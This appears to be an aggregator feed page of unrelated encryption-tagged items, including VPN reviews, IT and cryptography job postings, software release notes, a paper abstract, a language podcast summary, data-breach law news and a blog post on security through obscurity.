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One of the drawbacks of surfing online is the possibility of losing personal data. VPN service providers strive to solve this issue and one of these is CyberGhost. Based on the OpenVPN protocol with SSL encryption, it enables you to navigate on the Internet, using a secure virtual private network. Thus, data transfers, user actions and the location address are concealed, allowing you to surf anonymously.


          Lynda.com: Learn Java Cryptography      Cache   Translate Page   Web Page Cache   
Security is paramount for any application. In Java, cryptography is key to the secure storage and transmission of data: to and from resources, users, and APIs. This course teaches the basics of Java cryptography using the Java Development Kit (JDK) crypto libraries: Java Cryptography Architecture (JCA) and Java Cryptography Extensions (JCE). Learn basic cryptography concepts and terms, including symmetric and asymmetric encryption, hashing, and digital signatures. Then find out how to use the cryptographic services or "engine classes" in JCA and JCE, such as Cipher, KeyGenerator, MessageDigest, and Signature, to enforce secure messaging and data storage. Plus, discover how to build a Java keystore to manage your repository of keys and certificates. Instructor Frank Moley uses his 16+ years of experience as a software developer and security architect to guide you through this complex topic. (Author: Frank P Moley III)
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  • Number of servers: 35
  • Number of country locations: 12
  • Cost: $80 per year
  • VPN protocol: OpenVPN and L2TP
  • Data encryption: AES-256
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Many VPNs right now are trying to be as user friendly as possible with a simple connect button and a simplified list of server locations. Not so with BolehVPN. This Malaysia-based VPN is not focused on ease of use, but at the same time there may not be quite enough here to satisfy power users.

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          IT Support Technician III - Sierra Nevada Corporation - Madison, WI      Cache   Translate Page   Web Page Cache   
Dell 32-/64-bit platforms (mobile and stationary), HP & Xerox printers / plotters, scanning systems, PGP encryption, wired & wireless equipment, VoIP, Citrix,...
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          Lepin 16GB Secure Key Encrypted USB Flash Drive for $17.99 (Shipped)      Cache   Translate Page   Web Page Cache   

Lepin via Amazon offers the Lepin 16GB Secure Key Encrypted USB Flash Drive for $35.99. Coupon code "XQIM3M5H" cuts the price to $17.99. With free shipping, that's $18 off list and the lowest price we could find. It features military grade full-disk 256-bit AES XTS hardware encryption, and 6 to 15 digit pin options. Deal ends July 15.

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          Corona Labs releases a new public build      Cache   Translate Page   Web Page Cache   
Corona Labs is pleased to announce the availability of our latest public release of Corona: 2018.3326. This build contains significant bug fixes and new features that we hope you will appreciate. Google Play One of the biggest changes in this public build is addressing changes required by Google. Since the last public build, Google has changed their Vitals detection methods and have gotten considerably more aggressive with their detection. To support these changes, we’ve updated all of our support plugins for Android to bring them up to modern standards. We have also increased our Android API level to 27 (Android 8.1) in preparation for Google’s August, 2018 requirement to have API level 26 support. Google is also pushing new app signing procedures. As such, Corona can now employ the modern encryption methods used by the latest Java keytool built keystores as well as older keystores. HTML5 You will notice that a majority of the updates in this build are involving HTML5. That’s right – HTML5 builds are now in Open Beta! HTML5 is becoming a considerably more stable product. We now include the base code needed to build Facebook Instant Games as well as support for the VK social media site’s version as well. HTML5 builds are already having an impact on other platforms. Developers have prototyped HTML5 versions of game ideas and pitched them to publishers to build mobile versions of the games. Being able to quickly give someone a look into your prototype is a great way to market your content. GDPR The European Union’s General Data Protection Regulation went into effect on May 25, 2018. This public release of Corona does not collect data considered personal in nature. Also, Corona Labs doesn’t collect any personal data in Corona-managed advertising plugins. The third-party SDKs used in the plugins have their own GDPR requirements.. Apple On the Apple side, we have updated to support iOS 11.4 and Xcode 9.4 and implemented additional features to support iOS 11 edge gestures that impact the iPhone X. One breaking change that comes with iOS 11 is that getting the default language of the device is now dependent on additions to the iOS plist. iOS 11 only returns supported values that your app supports. You must include an entry in your build.settings file to list the supported languages by the app. For example: settings = { iphone = { plist = { CFBundleLocalizations = {"en", "fr", "pt", "zh", "de", "it", "ja", "es", "ru", "uk"}, }, }, } You can look at the sample app: SampleCode/GettingStarted/HelloWorldLocalized for an example of this requirement or see our localization guide. Open-source libraries In addition to these changes, Corona Labs is open-sourcing the following libraries: timer.* easing.* transition.* composer.* You can download the Lua source for these libraries from the Corona Labs GitHub account. In addition, the widget.* library was updated to be in sync with our internal library. Facebook Facebook has recently changed their permission requirements for apps. You now have to submit your app to Facebook for review and get approved to use the user_friends permission. We have removed the default addition of the user_friends permission from the login process. Starting with this release (2018.3326) plugin facebook_v4a only asks for public_profile by default. This may be a breaking change if your app depends on the user_friends permission. If this is a case, add the permission when requesting login, like facebook.login( { 'user_friends' } ). Check it out! You can see a full list of changes in our release notes for 2017.3326. If you have questions or comments on this release, join us in our community forums. Download Corona View the full article
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A change in encryption mechanism and the ability to strike Windows XP machines via an SMB vulnerability improves GandCrab's ability to proliferate.
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Senior Cloud engineer - Altele

Senior Cloud engineer

Task/Responsibilities

As part of our modernization strategy, you will take an active participation in the design of two new applications eventually deployed into the Microsoft Azure cloud; a reference data management system and a digitization platform primarily used for document data extraction and access through APIs. As such, you will be a key actor in charge of designing and integrating those applications with the current on premise IT landscape. Your assignments will include:
Designing and documenting the cloud architecture, ensuring non-functional requirements and alignment with IT security guidelines
Developing and executing practical use cases to validate the proposed design and technology, eg high availability, performance, crash recovery
Defining and documenting new standards relevant to the development and deployment of cloud applications
Assessing and optimizing the cost of using Microsoft Azure
Upskilling of the teams involved in the design, development, provisioning and operation of cloud applications
Qualifications/required skills - Master's Degree (or equivalent) in a computer-based discipline
Good communication skills with the ability to justify and challenge architecture decisions
Hands-on experience in architecting Microsoft Azure native applications
Hands-on experience in Microsoft Azure infrastructure services (IaaS). Concrete experience in migrating on premise applications to Microsoft Azure is an asset
Experience with Serverless, Microservices and REST architecture styles
Experience in application security design, incl. identity and access management together with encryption and key management
Experience in regulatory requirements and concerns is an asset, eg risk assessment, exit strategy, data protection
Practical experience in the following technology:
o Linux OS, preferably RedHat Linux
o Java/J2EE, preferably RedHat EAP. Knowledge in Go, Spring Boot, Angular and/or React is an asset
o Messaging Middleware, preferably RedHat A-MQ
o RDBMS, preferably Oracle and MySQL
o Identity Management, preferably OpenAM
o Jenkins, Docker and Ansible
o Version Control System, preferably Git
o Repository manager, preferably Artifactory
o Apache Maven or Apache Ant
- Proficiency in written and spoken English; French and German language skills is an asset

    Companie: SKILLFINDER INTERNATIONAL
    Tipul locului de muncă: Alte

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Dell 32-/64-bit platforms (mobile and stationary), HP &amp; Xerox printers / plotters, scanning systems, PGP encryption, wired &amp; wireless equipment, VoIP, Citrix,...
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Microsoft, Lotus Notes, McAfee Antivirus, PGP encryption, wireless, Citrix, Dell laptops/desktops, and HP Printers....
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           Kisshappy (Social Networking)      Cache   Translate Page   Web Page Cache   

Kisshappy 1.1.0


Device: iOS iPhone
Category: Social Networking
Price: Free, Version: 1.1.0 (iTunes)

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Here gathered the most innovative companies and single people in universities, such as Google、Apple、Microsoft、SpaceX、Tesla、Harvard University、MIT、Staford University,etc. You can contact them at any time, any place.
Every single person here is required to verify his/her business or school email. Meanwhile, the protection of your privacy is one of our core tasks. Your personal information will be encrypted, and the conversation will be transferred with encryption as well. We will never save your conversation on our server and you can delete all information associated with your account at any time.
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As more corporate and private users outsource their data to cloud storage, recent data breach incidents make end-to-end encryption increasingly desirable. Unfortunately, semantically secure encryption renders various cost-effective storage optimization techniques, such as data deduplication, ineffective. On this ground Stanek et al. [1] introduced the concept of “data popularity” arguing that data known/owned by many users do not require as strong protection as unpopular data; based on this, Stanek et al. presented an encryption scheme, where the initially semantically secure ciphertext of a file is transparently downgraded to a convergent ciphertext that allows for deduplication as soon as the file becomes popular. In this paper we propose an enhanced version of the original scheme. Focusing on practicality, we modify the original scheme to improve its efficiency and emphasize clear functionality. We analyze the efficiency based on popularity properties of real datasets and provide a detailed performance evaluation, including comparison to alternative schemes in real-like settings. Importantly, the new scheme moves the handling of sensitive decryption shares and popularity state information out of the cloud storage, allowing for improved security notion, simpler security proofs and easier adoption. We show that the new scheme is secure under the Symmetric External Diffie-Hellman assumption in the random oracle model.
          AnyTrans Airs Free Cloud Manager to Manage and Share Multi-Cloud Files      Cache   Translate Page   Web Page Cache   
iMobie today introduces AnyTrans for Cloud 1.1.0, a free cloud manager for Mac, Windows and Web. AnyTrans is tailored for cloud management that gives full ability to access and manage multi-clouds with just one login. Users can enjoy safe, fast file transfer, with easy content management and flexible online file sharing in one place, either on mobile, tablet, or computer. All content is guaranteed 100-percent safe and private under the dual-protection of Google 2FA and 256-bit SSL encryption.
          Jump Steady (Rebroadcast) - 21 May 2018      Cache   Translate Page   Web Page Cache   

Secret codes, ciphers, and telegrams. It used to be that in order to transmit information during wartime, various industries encoded their messages letter by letter with an elaborate system--much like today's digital encryption. Grant breaks down some of those secret codes--and shares the story of the most extensive telegram ever sent. Plus, we've all been there: Your friends are on a date, and you're tagging along. Are you a third wheel--or the fifth wheel? There's more than one term for the odd person out. Finally, a rhyming quiz about famous poems. For example, what immortal line of poetry rhymes with: "Prose is a nose is a hose is a pose"? Plus, women named after their mothers, variations on "Happy Birthday," at bay, nannies' charges, and a blues singer who taught us to jump steady.

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Great news for scavenger-hunt designers, teenage sleepover guests, and anyone else interested in being cryptic! The old-school commercial codes used for hiding information from the enemy in a telegraphs is at your fingertips on archive.org. Have fun.

If you're single but tagging along on someone else's date, you might be described as a fifth wheel, a term that goes back to Thomas Jefferson's day. Not until much later, after the bicycle had been invented, the term third wheel started becoming more common.

The long popular and newly legal-to-sing "Happy Birthday to You" has always been ripe for lyrical variations, particularly at the end of the song. Some add a cha cha cha or forever more on Channel 4, but a listener tipped us off to another version: Without a shirt!

We spoke on the show not long ago about yuppies and dinks, but neglected to mention silks: households with a single income and lots of kids.

Quiz Guy John Chaneski brings a game of schmoetry—as in, famous lines of poetry where most of the words are replaced with other words that rhyme. For example, "Prose is a nose is a hose is a pose" is a schmoetic take on what famous poem?

A young woman who works as a nanny wants to know why the term charge is used to refer to the youngsters she cares for. Charge goes back to a Latin root meaning, "to carry," and it essentially has to do with being responsible for something difficult. That same sense of "to carry" informs the word charger, as in a type of decorative dinnerware that "carries" a plate.

Plenty of literature is available, and discoverable, online. But there's nothing like the spontaneity, or stochasticity, of browsing through a library and discovering great books at random.

After a recent discussion on the show about garage-sailing, a listener from Henderson, Kentucky, sent us an apt haiku: Early birds gather near a green sea/ Garage doors billow on the morning wind/ Yard-saling.

To jump steady refers to either knocking back booze or knocking boots (or, if you’re really talented, both). It's an idiom made popular by blues singers like Lucille Bogan.

Long distance communication used to be pretty expensive, but few messages have made a bigger dent than William Seward's diplomatic telegram to France, which in 1866 cost him more than $300,000 in today's currency. This pricey message aptly became known as Seward’s Other Folly.

Someone who's being rude or pushy might be said to have more nerves than a cranberry merchant. This idiom is probably a variation on the phrase busier than a cranberry merchant in November, which relates to the short, hectic harvesting season right before Thanksgiving.

The Spanish version of being a fifth wheel on a date is toca el violin, which translates to being the one who plays the violin, as in, they provide the background music. In German, there's a version that translates to, "useless as a goiter."

It's far less common for women in the United States to name their daughters after themselves, but it has been done. Eleanor Roosevelt, for one, is actually Anna Eleanor Roosevelt, Jr.

A listener from Dallas, Texas, wonders why we say here, here to cheer someone on, and there, there to calm someone down. Actually, the phrase is hear, hear, and it's imperative, as in, listen to this guy. There, there, on the other hand is the sort of thing a parent might say to console a blubbering child, as in "There, there, I fixed it."

We spoke on the show not long ago about how the phrase to keep something at bay derives from hunting. A listener wrote in with an evocative description of its origin, referring specifically to that period when cornered prey is able to keep predators away--that is, at bay--but only briefly. It's a poignant moment of bravery.

This episode is hosted by Grant Barrett and Martha Barnette.

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          (USA-CT-BRIDGEPORT) DIRECTOR ARCHITECT      Cache   Translate Page   Web Page Cache   
**Job Requirements:** • 10+ years of practical experience in software application development/support/architecture, with at least 5 years designing enterprise-scale architecture. • Participate in all stages of the development life cycle including requirement analysis, design, development and implementation of the system. • Experience in evaluating technologies and packaged solutions, with the ability to weigh the pros/cons of technology based on strategic advantages, integration aspects, cost, and schedule. • Broad knowledge of multiple technologies and platforms. • Involve in design and code reviews and extensive documentation of standards, best practices and Java/J2EE principles. • Working experience with latest web, middleware and database technologies and frameworks • Must have the capability to work with different team members and other groups. The EA must be able to communicate the architecture solutions and the benefits to various team members. • Strong knowledge and understanding of architectural principles and the design, implementation, and operations of enterprise technology solutions • Document process description, which define and encapsulate the component interfaces. • Design technical documents on delivered functionality/code as required. • Responsible for all activities related to the development, implementation, administration and support of core banking processes for large scale banking systems. • Excellent written and verbal communication skills • Previous experience working in Banking or financial services industry is a big plus. • Must understand: o Application deployments, server configurations and deployments, and data center and co-location planning. o Technical Operations and Disaster Recovery o Virtualization and Storage technologies. o SQL Queries to perform DDL, DML and DCL against databases. o Network architecture and associated systems/concepts. o Information Security, Data Encryption and Data Security. o Latest web technologies and frameworks o Middleware technologies, SOA o Big Data, Business Intelligence, data warehousing, ETL and OLAP tools. o DevOps, cloud and containerization concepts **Job Description:** The Enterprise Architect (EA) delivers strategic and project-level architectural support for systems and solutions across the bank’s business practices. EA will assist with the technology planning, technology governance and technology delivery activities. The EA will provide solution architecture to various projects within the bank across different areas depending upon the types of the projects and business requirements, and types of software and packages being used. Enterprise Architect is responsible for interacting with the business, identifying business challenges, translating business requirements into technology solutions, delivering architecture support for one or more projects. EA understands the business objectives of the projects, and is able to design optimized solutions that solve business problems in a cost effective manner. EA must be able to assess and design solutions that support long lasting business values with quality measured by multiple metrics (scalability, performance, security, technology alignment, systematic and robust deployment and operational processes, with little or no defects). EA will collaborate with other technology groups, delivery managers, business groups, vendors and team members. The EA must be able to communicate the architecture solutions and the benefits to various team members In addition, most of the systems to be developed/deployed/integrated may require integration with other systems that run in People's United Bank operational environment. The EA owns the architectural deliverables/documents of the project(s) based on People's United Bank standards. **Posting Title:** Principal Enterprise Architect **Location:** BRIDGEPORT-850 MAIN ST **Employment Type:** Full Time **Address 1:** 850 MAIN STREET **Auto req ID:** 11289BR **City:** BRIDGEPORT **Zip Code:** 06604 **State:** CT **11289BR** People's United Bank and its subsidiaries are equal opportunity and affirmative action employers EOE-Females/Minorities/Protected Veterans/Individuals with Disabilities. All qualified applicants will receive consideration for employment without regard to race, color, religion, sex, national origin, age, disability, veteran status or any other legally protected status.
          Associate IT Technician - Plenty - Laramie, WY      Cache   Translate Page   Web Page Cache   
Apple\Microsoft certifications, G Suite Experience, familiarity with full disk encryption solutions, helpdesk ticketing systems, file sharing solutions, Android...
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          UPDATE: All fifty states now have data breach statutes      Cache   Translate Page   Web Page Cache   

On July 1, 2018, all fifty states will have active data breach statutes that govern the notification process for companies that experience a data loss incident. Alabama and South Dakota both recently passed data breach laws, representing the last two states to enact data breach legislation. As with other data breach statutes, Alabama and South Dakota have imposed slightly different requirements on businesses that experience a breach event, contributing to the increasingly rich tapestry of state laws governing data breaches.

Alabama’s Data Breach Notification Act of 2018 went into effect on May 1, 2018. The law applies to any entity that stores personally identifiable information, either on behalf of itself or as a third-party data storage provider. The act incorporates a broad definition of sensitive data, including an email address stored in combination with a password. The law also requires notification in the event that encrypted data is lost together with the related encryption key. However, notification will not be required where prompt investigation reveals that the breach is not reasonably likely to cause substantial harm to the individuals to whom the information relates. A breached entity must notify the Alabama Attorney General if the breach affects more than 1,000 Alabama residents. The law requires notification to take place within 45 days of a determination that a breach is reasonably likely to cause substantial harm to affected individuals.

South Dakota’s act will go into effect on July 1, 2018. The act distinguishes “personal information–” a person’s name in combination with …


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          DBEX, World's First Physical Digital Asset Exchange Located in the Planet's Tallest Building, Completes Pre-A Round Of Investment      Cache   Translate Page   Web Page Cache   
...quality tokens can be listed. In addition to adopting top-level security standards for unlimited scalability, super server farms and information processing technologies, DBEX is also cooperating with Bairun Baicheng Group, a leading company in the electronic identity information encryption and ...

          SimpleumSafe 2.2.2 - Strong file encryption and archival. (Shareware)      Cache   Translate Page   Web Page Cache   

SimpleumSafe is a next-generation encryption app - continuously encrypted. SimpleumSafe was developed with Extreme Secure Synchronization - continuously encrypted. Even if the synchronization data was stolen from the cloud and the password became public, it is not possible to decrypt the data. With SimpleumSafe, you can easily and safely archive and encrypt your files and folders and store them in different places. Thanks to proven AES-256 encryption technology, all kinds of digital information are well protected against attacks from the Internet and access by unauthorized persons. SimpleumSafe makes its own file system and has its own finder; thus, the files remain encrypted for the entire time. When editing and in the preview, the data remains encrypted throughout. SimpleumSafe is also available for and syncs with iOS.

Features
  • Simple and intuitive usability (drag a file or folder from Finder into a Safe and it is encrypted)
  • No technical knowledge is needed for encryption
  • Security made in Germany
  • Strong encryption with AES-256--all files in a Safe are encrypted.
  • Store your safes locally, on USB device, and in the cloud
  • Create as many Safes as you want
  • Extensive support of drag-and-drop
  • Organize your files as you like it (create folders, rename, copy, move, duplicate, trash, delete files)
  • Show file content for Microsoft Office and iWorks documents, PDF, images (JPG, PNG, GIF, TIFF), text (TXT, RTF, RTFD), movies (MP4, MOV), audio
  • Mark files and folders with beautiful tags
  • Comment files and folders
  • Mark files as Favorites for fast access
  • Export files by using Share button
  • Number of files and size is only limited by the free space of your device
  • Target directory chooser (import, copy, ...) shows the last 10 used directories for faster selection
  • Picture viewer
  • App-to-app drag-and-drop: for example, drag mail, appointments, contacts, photos, etc., directly into a safe


Version 2.2.2:
  • Refresh file view after sync fixed
  • iCloud Sync improvements
  • Faster opening for iCloud synced Safes


  • OS X 10.11 or later
  • macOS 10.13.1 or later for wireless synchronization



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          mSecure 5.5.4 - Safely store sensitive information. (Free)      Cache   Translate Page   Web Page Cache   

mSecure safely stores sensitive and important information like web logins and passwords, credit card numbers, frequent flyer and social security numbers, and any other data you want quick, easy access. mSecure uses an industry-proven data encryption method so your information is safe guarded should your computer be lost or stolen.

mSecure comes with 17 pre-defined types such as Web Logins, Credit Cards, Email Accounts, Frequent Flyer, etc., to get you started using mSecure quickly. However, the power of mSecure allows you to add your own custom types. Each type can have an unlimited number of fields and icon of your choosing. With mSecure’s well-designed interface customizing your data has never before been faster or easier.

Features
  • 256-bit Blowfish encryption to protect the confidentiality of your data
  • Password protection with hint feature
  • Thoughtful design for ease-of-use and great versatility
  • User-customizable types with unlimited fields
  • Integrated search capability for quick record look-up
  • Password Generator
  • Many more features

Note: This application contains in-app and/or external module purchases.



Version 5.5.4:
  • Improved printing
  • Added 1Password importer
  • Implemented password strength meter in detail view
  • Added ability to change username from app
  • Implemented key search when search field doesn’t have focus
  • Added custom fields importing/exporting via CSV
  • Implemented saving/restoring type/group selections
  • Fixed that if MacBook lid is closed, Touch ID isn’t available
  • Added GDPR compliance
  • Added reveal button in detail view to reveal single sensitive field
  • Performance improvement for very large notes
  • Other minor bug fixes


  • OS X 10.10.5 or later



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          (USA-DE-Wilmington) Destkop Support Manager      Cache   Translate Page   Web Page Cache   
Manage the day to day operations of the desktop support team which maintains, analyzes, troubleshoots, and repairs computer systems, hardware, and computer peripherals. They also document, maintain, upgrade and replace hardware and software systems as assigned. + Manage the desktop support team. Interview, hire, set high performance standards, and manage team performance in accordance with all applicable HR policies and procedures. Create a flexible and energized work environment, fostering an atmosphere that enables employee trust and engagement. Inspire confidence and motivate others to perform at their best. Develop and coach staff while effectively addressing performance issues. + Establish and maintain standard operating processes and procedures for setting up, maintaining, and troubleshooting desktop, notebook computers, and telephones as well as the installation and configuration of software. Ensure team is operating in accordance with established procedures and communicate with team regarding process and procedural changes and updates. + Respond to elevated and/or the most complex service tickets for the team. Resolve issues, document actions, and close tickets in the system. Talk directly with clients to obtain a clear and detailed description of the issue and/or instruct clients in the appropriate method to obtain resolution. + Work closely with employees at all levels across the organization when responding to issues. Manage and continually enhance service level response times to ensure a high level of client satisfaction. Update internal clients on solutions and manage expectations and timing of resolution as needed. May provide hands-on training when walking clients through equipment issues. Follow up as needed to ensure client satisfaction and understanding. + Oversee inventory of all hardware and software resources and parts. Determine appropriate and cost effective inventory levels and places orders as needed. + Establish close partnerships with outside vendors as needed to resolve issues and elevate problems as needed. Maintain awareness of hardware and software updates and elevations that may affect on-site equipment. + Manage the schedule and elevation of Microsoft patches, anti-virus updates, new releases, encryption software updates and software upgrades/elevations to ensure minimal disruption to employees. Evaluate impact of new releases and upgrades and resolves software related problems as they occur. Identify, troubleshoot and communicate issues and timeframes to impacted employees. + May assist less experienced Desktop Support Analysts with performing their activities and provide hands-on support to the team during high demand periods and/or with large projects. + Prepare metrics and reports for management on operations and activities. + Perform other related duties as assigned. Education/Experience: + An undergraduate degree in a related field or an equivalent combination of training and experience. + A minimum of 5 years related experience in set up, configuration, and troubleshooting desktop/notebook hardware and software from which was obtaining a knowledge of commonly-used concepts, practices, and procedures. + A minimum of 2 years supervisory or leadership experience. + Previous experience working with remote users in a structured, process-driven environment. Other Qualifications: + Some knowledge of TCP/IP networking and related network services + Some knowledge of Active Directory concepts and administration + Knowledge of Microsoft office products + Excellent verbal, written, and interpersonal communication skills + Excellent customer service skills with a high level of customer focus and motivation. + A team player able to work effectively in a team fostered, multi-tasking environment + Must be able to lift 50 pounds. External Company Name: Bancorp Bank, The External Company URL: https://www.thebancorp.com/ Street: 409 Silverside Road
          Telecommute Information Assurance Security Resident Consultant in San Diego      Cache   Translate Page   Web Page Cache   
A technology company is in need of a Telecommute Information Assurance Security Resident Consultant in San Diego. Candidates will be responsible for the following: Providing subject matter expertise and thought leadership Stabilizing and optimizing solution system performance, including rules and reports Responding rapidly to unplanned events, including after hours for Severity 1 issues Position Requirements Include: Ability to travel to remote sites on an as-needed basis 3+ years administering, supporting, or consulting on antivirus/encryption/IDS/IPS technologies Working knowledge of operating system platforms, network protocols, and security architecture 3+ years of experience in Information Security Working knowledge of common attacks and vulnerabilities
          Netgear Wifi router WGR614 - Jelenlegi ára: 1 999 Ft      Cache   Translate Page   Web Page Cache   
Netgear Wifi router WGR614 v7
Használt, működőkepes, újabb típus miatti vásárlás miatt került lecserlesre, napi használatban volt.
Visszaállítva a gyári beállításokra, belepesi adatok a router hátulján vannak feltüntetve. Kérem csak az vegye meg, aki kellően ért a beállításokhoz!
1db WAN port, 4db LAN port (10/100 Mbps)
max 54Mbps sebesség
2dBi antenna
A csomag tartalma: 1 db. router Tápegységgel, LAN kábel.
Szállítás: előre utalással: 990. - DPD-vel.
Esetlegesen Szemelyes átvetel is megoldható: Szegeden, kerem erdeklődjön várálás előtt.
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Frequency Band
2. 4 GHz
Encryption Algorithm
128-bit WEP, 64-bit WEP, WPA-PSK, WPA2-PSK
Routing Protocol
RIP-1, RIP-2, static IP routing
Manufacturer
NetGear
Networking
Form Factor
desktop
Type
wireless router
Connectivity Technology
wired, wireless
Data Link Protocol
Ethernet, Fast Ethernet, IEEE 802. 11b, IEEE 802. 11g
Network / Transport Protocol
DHCP, IPSec, L2TP, PPPoE, PPTP, TCP/IP
Features
DHCP server, DHCP support, event log, firewall protection, firmware upgradable, DMZ port, DoS attack prevention, MAC address filtering, NAT support, Stateful Packet Inspection (SPI), URL filtering, VPN passthrough, auto-sensing per device
Compliant Standards
IEEE 802. 11b, IEEE 802. 11g
Wireless Protocol
802. 11b/g
Routing Protocol
RIP-1, RIP-2, static IP routing
Switching Protocol
Ethernet
Remote Management Protocol
HTTP
Data Transfer Rate
54 Mbps
Spread Spectrum Method
DSSS
Line Coding Format
16 QAM, 64 QAM, BPSK, CCK, DBPSK, DQPSK, QPSK
WAN Ports Qty
1
Integrated Switch
4-port switch
Key Features
VPN support, firewall
Modem
Antenna Qty
1
Power Device
Type
external power adapter
Power
Power Device
External power adapter
Interface Provided
Type
network
Interface
Ethernet 10Base-T/100Base-TX
Qty
1, 4
Connector Type
RJ-45
WAN / DMZ
WAN
Type
LAN, WAN
Miscellaneous
Encryption Algorithm
128-bit WEP, 64-bit WEP, WPA-PSK, WPA2-PSK
Antenna
Antenna Qty
1
Gain Level
2 dBi
 
Netgear Wifi router WGR614
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          ElcomSoft iOS Forensic Toolkit 4.0 Repack      Cache   Translate Page   Web Page Cache   

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          Thoughts on "Security Through Obscurity"      Cache   Translate Page   Web Page Cache   

Today I felt like sharing my opinion on the somewhat-contentious issue of "security through obscurity", or the practice of hiding application or system inner workings to reduce the viability of security threats. Examples include:

  • Having your user table in your SQL backend called "ContosoUser" instead of just "User", making SQL injection attacks more difficult to accomplish

  • Using port 55555 for SSH access on your servers, instead of the standard port 22, to dissuade brute force attackers

  • Obfuscating frontend code to make potential attackers have to figure out how the page works before doing anything to it

This practice has been subject to many strong opinions in the security field. I've personally heard from some in the field that it's a crutch for bad security practices, and from others that it's a very important tool. Let's talk about possible merits, and possible pitfalls as well.

The Vault Analogy

When considering different methods of security like this, I like to envision a vault, perhaps at a bank or what have you, with all your goodies inside. Your goal, of course, is to make sure no one successfully enters that vault.

Suppose your vault is kept in the back of your bank, and you happen to have the most top-of-the-line sci-fi cloaking system, that makes your vault blend in perfectly with the wall.

It's an analogy - Work with me here.

But the actual mechanism of opening the vault is incredibly simple: You simply press an inconspicuous tile on the wall, and the vault opens right up. No combination, no keys, no biometrics or other fancy stuff. You just have to know that you have to press the tile to get in.

Of course, this situation represents complete reliance on security through obscurity. If you have insecure infrastructure or software, and just rely on knowing what you know, that security through obscurity really isn't security at all. In the analogy's case, someone could potentially spy in and see an employee opening the vault. Or perhaps they manage to get in undetected, and simply start looking around and pressing on the wall, looking for hidden switches. This could be compared to things like port mapping, trying to just guess random ports and see if any of them gives positive SSH or RDP responses.

The opposite end of the spectrum is if you had a perfectly secured safe, with five keys required along with a combination, with super-reinforced adamantium protecting the goodies inside. That thing is NOT getting broken into. But instead of keeping it in a secure location, you put it in your lobby, letting anyone try to get in if they want!

This, likewise, represents neglecting security through obscurity, and fully trusting your technology and techniques to not fail you. This is certainly safer than the other end of the spectrum, but is it really a perfect situation? People trusted WEP encryption in the past, and we know how that turned out. People figure out ways around good technology. That's just how the world works. The goal, of course, is to lower the possibility of breaches as much as you can.

The Big Picture

I'd say that, in general, my opinion on the viability of security through obscurity looks a bit like this (In an abstract scale and brilliant MSPaint skills):

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Obviously, with no thought given to security, you've established the lowest end of the scale. If you decide to rely fully on obscurity, you are substantially better off than nothing, but you could still do a lot better. If you fully rely on your technology and technique, you're safer than if you relied fully on obscurity, but if you layer obscurity on top of that, then you're slightly more secure than if you didn't.

I'd love to hear your thoughts on this issue, and your own opinions on the debate regarding security through obscurity. Happy coding!


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          uTorrent 3.5.4 Build 44498      Cache   Translate Page   Web Page Cache   

uTorrent is an efficient and feature rich BitTorrent client for Windows sporting a very small footprint. It was designed to use as little cpu, memory and space as possible while offering all the functionality expected from advanced clients. With uTorrent, you can download files faster and contribute by sharing files and bandwidth. Additionally, uTorrent supports the Protocol Encryption joint specification (compatible with Azureus 2.4.0.0 and above, BitComet 0.63 and above) and peer exchange.

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          Paubox Achieves HIPAA Compliance with Compliancy Group      Cache   Translate Page   Web Page Cache   

Compliancy Group is proud to announce that email encryption service provider, Paubox, has completed the Compliancy Group HIPAA compliance implementation process to Achieve, Illustrate, and Maintain...

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          MarshallSoft FoxPro AES Library 4.2      Cache   Translate Page   Web Page Cache   
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          (USA-CA-Marina del Rey) Cryptography Engineer - Blockchain & REMOTE!      Cache   Translate Page   Web Page Cache   
Cryptography Engineer - Blockchain & REMOTE! Cryptography Engineer - Blockchain & REMOTE! - Skills Required - Cryptography, Encryption, Golang, React.JS If you are a Cryptography Engineer interested in blockchain, please read on! **Top Reasons to Work with Us** We are a well funded, pre-launch, FinTech startup that's going to disrupt the banking and credit industry! Based in sunny Marina del Rey, we not only have flexible work hours but employees who work remotely across the US. Our founding team is stacked with blockchain and fintech experts who have had successful prior statups. We are growing quickly and this is the opportunity to join the ground floor with significant equity! **What You Will Be Doing** - Build a decentralized network of financial data to be shared in a peer to peer like network - Design decentralized applications and APIs to handle sensitive and confidential data - Design, architect, develop, and implement a premeir decentralized network on blockchain that allows for strong data security, excellent control of data, ease of integration, reduction of cost and creation of new profit centers - Build off of Ethereum with Solidity and SmartContracts, also work with Golang, Python and ReactJS - Architect a unique dual-layer blockchain that overcomes scalability concerns while working at the intersection of FinTech and Blockchain - Craft a decentralized solution to a typically centralized problem from the ground up - Develop models within distributed computing frameworks - Maintain a well-tested codebase with continuous integration **What You Need for this Position** We only require a degree in Computer Science and extensive development experience with a modern backend language like Go, Python, Java, or Ruby on Rails. Nice to Have: - Cryptography - Encryption - Golang - React.JS **What's In It for You** - Extensive Medical Coverage - health, dental, vision - Competitive salary package with early stage equity - Flexible work hours - Remote work option So, if you are a Cryptography Engineer with experience, please apply today! Applicants must be authorized to work in the U.S. **CyberCoders, Inc is proud to be an Equal Opportunity Employer** All qualified applicants will receive consideration for employment without regard to race, color, religion, sex, national origin, disability, protected veteran status, or any other characteristic protected by law. **Your Right to Work** – In compliance with federal law, all persons hired will be required to verify identity and eligibility to work in the United States and to complete the required employment eligibility verification document form upon hire. *Cryptography Engineer - Blockchain & REMOTE!* *CA-Marina del Rey* *GB1-1466880*
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qBittorrent Portable is a free BitTorrent P2P client coded in C++ / Qt4, developed by a Ph.D student (Christophe Dumez) from the University of technology of Belfort-Montbeliard in France. It is based on Libtorrent (Arvid Norbergs) and the Qt toolkit. It was started in March 2006 and has been in active development ever since. qBittorrent is Free Software that aims to have a small foot-print, to be powerful, intuitive and visually attractive. qBittorrent is offering functionality comparable to larger Bittorrent clients such as Vuze or BitComet. qBittorrent v2 Features * Polished µTorrent-like User Interface * Well-integrated and extensible Search Engine o Simultaneous search in most famous BitTorrent search sites o Per-category-specific search requests (e.g. Books, Music, Movies) * All Bittorrent extensions o DHT, Peer Exchange, Full encryption, Magnet/BitComet URIs, ... * Remote control through a Web user interface o Nearly identical to the regular UI, all in Ajax * Advanced control over trackers, peers and torrents o Torrents queueing and prioritizing o Torrent content selection and prioritizing * UPnP / NAT-PMP port forwarding support * Available in ~25 languages (Unicode support) * Torrent creation tool * Advanced RSS support with download filters (inc. regex) * Bandwidth scheduler * IP Filtering (eMule and PeerGuardian compatible) * IPv6 compliant * Available on most platforms: Linux, Mac OS X, Windows, OS/2, FreeBSD
          Cloud Security Encryption Specialist - TAL Group - Toronto, ON      Cache   Translate Page   Web Page Cache   
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          ElcomSoft iOS Forensic Toolkit 4.0      Cache   Translate Page   Web Page Cache   
